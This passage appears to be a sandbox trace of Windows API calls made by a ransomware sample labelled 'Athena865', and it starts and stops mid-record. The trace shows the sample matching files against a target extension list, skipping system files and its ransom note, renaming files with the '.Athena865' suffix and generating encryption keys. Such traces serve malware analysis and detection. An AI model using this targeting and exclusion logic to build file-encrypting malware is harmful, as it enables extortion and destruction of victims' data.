(lpString1="_.GIF", lpString2="accdc") returned -1 [0135.778] lstrlenW (lpString="accde") returned 5 [0135.778] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.778] lstrlenW (lpString="accdr") returned 5 [0135.778] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.778] lstrlenW (lpString="accdt") returned 5 [0135.778] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.778] lstrlenW (lpString="accdw") returned 5 [0135.778] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0135.778] lstrlenW (lpString="accft") returned 5 [0135.778] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.779] lstrlenW (lpString="adb") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.779] lstrlenW (lpString="adb") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.779] lstrlenW (lpString="ade") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.779] lstrlenW (lpString="adf") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.779] lstrlenW (lpString="adn") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.779] lstrlenW (lpString="adp") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.779] lstrlenW (lpString="alf") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.779] lstrlenW (lpString="ask") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.779] lstrlenW (lpString="btr") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.779] lstrlenW (lpString="cat") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.779] lstrlenW (lpString="cdb") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.779] lstrlenW (lpString="ckp") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0135.779] lstrlenW (lpString="cma") returned 3 [0135.779] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.779] lstrlenW (lpString="cpd") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.780] lstrlenW (lpString="dacpac") returned 6 [0135.780] lstrcmpiW (lpString1="9_.GIF", lpString2="dacpac") returned -1 [0135.780] lstrlenW (lpString="dad") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.780] lstrlenW (lpString="dadiagrams") returned 10 [0135.780] lstrcmpiW (lpString1="01749_.GIF", lpString2="dadiagrams") returned -1 [0135.780] lstrlenW (lpString="daschema") returned 8 [0135.780] lstrcmpiW (lpString1="749_.GIF", lpString2="daschema") returned -1 [0135.780] lstrlenW (lpString="db-journal") returned 10 [0135.780] lstrcmpiW (lpString1="01749_.GIF", lpString2="db-journal") returned -1 [0135.780] lstrlenW (lpString="db-shm") returned 6 [0135.780] lstrcmpiW (lpString1="9_.GIF", lpString2="db-shm") returned -1 [0135.780] lstrlenW (lpString="db-wal") returned 6 [0135.780] lstrcmpiW (lpString1="9_.GIF", lpString2="db-wal") returned -1 [0135.780] lstrlenW (lpString="dbc") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.780] lstrlenW (lpString="dbs") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.780] lstrlenW (lpString="dbt") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.780] lstrlenW (lpString="dbv") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.780] lstrlenW (lpString="dbx") returned 3 [0135.780] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.780] lstrlenW (lpString="dcb") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.781] lstrlenW (lpString="dct") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.781] lstrlenW (lpString="dcx") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0135.781] lstrlenW (lpString="ddl") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0135.781] lstrlenW (lpString="dlis") returned 4 [0135.781] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0135.781] lstrlenW (lpString="dp1") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0135.781] lstrlenW (lpString="dqy") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0135.781] lstrlenW (lpString="dsk") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0135.781] lstrlenW (lpString="dsn") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0135.781] lstrlenW (lpString="dtsx") returned 4 [0135.781] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0135.781] lstrlenW (lpString="dxl") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0135.781] lstrlenW (lpString="eco") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0135.781] lstrlenW (lpString="ecx") returned 3 [0135.781] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0135.781] lstrlenW (lpString="edb") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0135.782] lstrlenW (lpString="epim") returned 4 [0135.782] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0135.782] lstrlenW (lpString="fcd") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0135.782] lstrlenW (lpString="fdb") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0135.782] lstrlenW (lpString="fic") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0135.782] lstrlenW (lpString="flexolibrary") returned 12 [0135.782] lstrlenW (lpString="fm5") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0135.782] lstrlenW (lpString="fmp") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0135.782] lstrlenW (lpString="fmp12") returned 5 [0135.782] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0135.782] lstrlenW (lpString="fmpsl") returned 5 [0135.782] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0135.782] lstrlenW (lpString="fol") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0135.782] lstrlenW (lpString="fp3") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0135.782] lstrlenW (lpString="fp4") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0135.782] lstrlenW (lpString="fp5") returned 3 [0135.782] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0135.782] lstrlenW (lpString="fp7") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0135.783] lstrlenW (lpString="fpt") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0135.783] lstrlenW (lpString="frm") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0135.783] lstrlenW (lpString="gdb") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.783] lstrlenW (lpString="gdb") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.783] lstrlenW (lpString="grdb") returned 4 [0135.783] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0135.783] lstrlenW (lpString="gwi") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0135.783] lstrlenW (lpString="hdb") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0135.783] lstrlenW (lpString="his") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0135.783] lstrlenW (lpString="ib") returned 2 [0135.783] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0135.783] lstrlenW (lpString="idb") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0135.783] lstrlenW (lpString="ihx") returned 3 [0135.783] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0135.783] lstrlenW (lpString="itdb") returned 4 [0135.783] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0135.783] lstrlenW (lpString="itw") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0135.784] lstrlenW (lpString="jet") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0135.784] lstrlenW (lpString="jtx") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0135.784] lstrlenW (lpString="kdb") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0135.784] lstrlenW (lpString="kexi") returned 4 [0135.784] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0135.784] lstrlenW (lpString="kexic") returned 5 [0135.784] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0135.784] lstrlenW (lpString="kexis") returned 5 [0135.784] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0135.784] lstrlenW (lpString="lgc") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0135.784] lstrlenW (lpString="lwx") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0135.784] lstrlenW (lpString="maf") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0135.784] lstrlenW (lpString="maq") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0135.784] lstrlenW (lpString="mar") returned 3 [0135.784] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0135.784] lstrlenW (lpString="marshal") returned 7 [0135.784] lstrcmpiW (lpString1="49_.GIF", lpString2="marshal") returned -1 [0135.784] lstrlenW (lpString="mas") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0135.785] lstrlenW (lpString="mav") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0135.785] lstrlenW (lpString="maw") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0135.785] lstrlenW (lpString="mdbhtml") returned 7 [0135.785] lstrcmpiW (lpString1="49_.GIF", lpString2="mdbhtml") returned -1 [0135.785] lstrlenW (lpString="mdn") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0135.785] lstrlenW (lpString="mdt") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0135.785] lstrlenW (lpString="mfd") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0135.785] lstrlenW (lpString="mpd") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0135.785] lstrlenW (lpString="mrg") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0135.785] lstrlenW (lpString="mud") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0135.785] lstrlenW (lpString="mwb") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0135.785] lstrlenW (lpString="myd") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0135.785] lstrlenW (lpString="ndf") returned 3 [0135.785] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0135.785] lstrlenW (lpString="nnt") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0135.786] lstrlenW (lpString="nrmlib") returned 6 [0135.786] lstrcmpiW (lpString1="9_.GIF", lpString2="nrmlib") returned -1 [0135.786] lstrlenW (lpString="ns2") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0135.786] lstrlenW (lpString="ns3") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0135.786] lstrlenW (lpString="ns4") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0135.786] lstrlenW (lpString="nsf") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0135.786] lstrlenW (lpString="nv") returned 2 [0135.786] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0135.786] lstrlenW (lpString="nv2") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0135.786] lstrlenW (lpString="nwdb") returned 4 [0135.786] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0135.786] lstrlenW (lpString="nyf") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0135.786] lstrlenW (lpString="odb") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.786] lstrlenW (lpString="odb") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.786] lstrlenW (lpString="oqy") returned 3 [0135.786] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0135.786] lstrlenW (lpString="ora") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0135.787] lstrlenW (lpString="orx") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0135.787] lstrlenW (lpString="owc") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0135.787] lstrlenW (lpString="p96") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0135.787] lstrlenW (lpString="p97") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0135.787] lstrlenW (lpString="pan") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0135.787] lstrlenW (lpString="pdb") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0135.787] lstrlenW (lpString="pdm") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0135.787] lstrlenW (lpString="pnz") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0135.787] lstrlenW (lpString="qry") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0135.787] lstrlenW (lpString="qvd") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0135.787] lstrlenW (lpString="rbf") returned 3 [0135.787] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0135.787] lstrlenW (lpString="rctd") returned 4 [0135.787] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0135.787] lstrlenW (lpString="rod") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0135.788] lstrlenW (lpString="rodx") returned 4 [0135.788] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0135.788] lstrlenW (lpString="rpd") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0135.788] lstrlenW (lpString="rsd") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0135.788] lstrlenW (lpString="sas7bdat") returned 8 [0135.788] lstrcmpiW (lpString1="749_.GIF", lpString2="sas7bdat") returned -1 [0135.788] lstrlenW (lpString="sbf") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0135.788] lstrlenW (lpString="scx") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0135.788] lstrlenW (lpString="sdb") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0135.788] lstrlenW (lpString="sdc") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0135.788] lstrlenW (lpString="sdf") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0135.788] lstrlenW (lpString="sis") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0135.788] lstrlenW (lpString="spq") returned 3 [0135.788] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0135.788] lstrlenW (lpString="te") returned 2 [0135.788] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0135.788] lstrlenW (lpString="teacher") returned 7 [0135.788] lstrcmpiW (lpString1="49_.GIF", lpString2="teacher") returned -1 [0135.789] lstrlenW (lpString="tmd") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0135.789] lstrlenW (lpString="tps") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0135.789] lstrlenW (lpString="trc") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.789] lstrlenW (lpString="trc") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.789] lstrlenW (lpString="trm") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0135.789] lstrlenW (lpString="udb") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0135.789] lstrlenW (lpString="udl") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0135.789] lstrlenW (lpString="usr") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0135.789] lstrlenW (lpString="v12") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0135.789] lstrlenW (lpString="vis") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0135.789] lstrlenW (lpString="vpd") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0135.789] lstrlenW (lpString="vvv") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0135.789] lstrlenW (lpString="wdb") returned 3 [0135.789] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0135.790] lstrlenW (lpString="wmdb") returned 4 [0135.790] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0135.790] lstrlenW (lpString="wrk") returned 3 [0135.790] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0135.790] lstrlenW (lpString="xdb") returned 3 [0135.790] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0135.790] lstrlenW (lpString="xld") returned 3 [0135.790] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0135.790] lstrlenW (lpString="xmlff") returned 5 [0135.790] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0135.790] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.Athena865") returned 73 [0135.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.athena865"), dwFlags=0x1) returned 1 [0135.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.792] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=948) returned 1 [0135.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.792] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.793] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.793] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.793] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x154 [0135.797] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0135.802] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.802] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.802] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.803] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.803] CloseHandle (hObject=0x154) returned 1 [0135.803] CloseHandle (hObject=0x17c) returned 1 [0135.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.804] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2=".") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="..") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="windows") returned -1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="bootmgr") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="temp") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="pagefile.sys") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="boot") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="ids.txt") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="ntuser.dat") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="perflogs") returned 1 [0135.804] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="MSBuild") returned 1 [0135.804] lstrlenW (lpString="WB01750_.GIF") returned 12 [0135.804] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01750_.GIF" | out: lpString1="WB01750_.GIF") returned="WB01750_.GIF" [0135.804] lstrlenW (lpString="WB01750_.GIF") returned 12 [0135.804] lstrlenW (lpString="Athena865") returned 9 [0135.804] lstrcmpiW (lpString1="1750_.GIF", lpString2="Athena865") returned -1 [0135.804] lstrlenW (lpString=".dll") returned 4 [0135.805] lstrcmpiW (lpString1="WB01750_.GIF", lpString2=".dll") returned 1 [0135.805] lstrlenW (lpString=".lnk") returned 4 [0135.805] lstrcmpiW (lpString1="WB01750_.GIF", lpString2=".lnk") returned 1 [0135.805] lstrlenW (lpString=".ini") returned 4 [0135.805] lstrcmpiW (lpString1="WB01750_.GIF", lpString2=".ini") returned 1 [0135.805] lstrlenW (lpString=".sys") returned 4 [0135.805] lstrcmpiW (lpString1="WB01750_.GIF", lpString2=".sys") returned 1 [0135.805] lstrlenW (lpString="WB01750_.GIF") returned 12 [0135.805] lstrlenW (lpString="bak") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.805] lstrlenW (lpString="ba_") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.805] lstrlenW (lpString="dbb") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.805] lstrlenW (lpString="vmdk") returned 4 [0135.805] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.805] lstrlenW (lpString="rar") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.805] lstrlenW (lpString="zip") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.805] lstrlenW (lpString="tgz") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.805] lstrlenW (lpString="vbox") returned 4 [0135.805] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.805] lstrlenW (lpString="vdi") returned 3 [0135.805] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.805] lstrlenW (lpString="vhd") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.806] lstrlenW (lpString="vhdx") returned 4 [0135.806] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.806] lstrlenW (lpString="avhd") returned 4 [0135.806] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.806] lstrlenW (lpString="db") returned 2 [0135.806] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.806] lstrlenW (lpString="db2") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.806] lstrlenW (lpString="db3") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.806] lstrlenW (lpString="dbf") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.806] lstrlenW (lpString="mdf") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.806] lstrlenW (lpString="mdb") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.806] lstrlenW (lpString="sql") returned 3 [0135.806] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.806] lstrlenW (lpString="sqlite") returned 6 [0135.806] lstrcmpiW (lpString1="0_.GIF", lpString2="sqlite") returned -1 [0135.806] lstrlenW (lpString="sqlite3") returned 7 [0135.806] lstrcmpiW (lpString1="50_.GIF", 